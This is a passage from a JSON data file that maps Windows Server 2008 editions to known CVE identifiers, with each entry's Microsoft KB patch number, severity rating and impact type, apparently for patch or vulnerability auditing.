Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108371","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192391","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197867","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-1038","kb":"4100480","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537820","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540688","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550964","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571729","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571729","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601347","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003233","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003233","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003667","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005088","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005633","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006743","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014748","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029296","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025279","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026413","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028240","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041838","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043129","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053620","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053620","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053620","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055561","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058430","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060996","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47981","kb":"5062632","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063947","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063947","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2506212","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072305","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3155413","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192391","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-1038","kb":"4100480","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537820","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540688","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550964","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571729","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571729","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601347","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003233","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003233","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003667","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004953","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005088","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005633","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006743","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014748","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029296","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025279","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026413","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028240","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041838","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043129","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053620","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053620","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053620","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055561","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058430","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060996","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47981","kb":"5062632","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063947","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063947","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for 32-bit Systems":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code 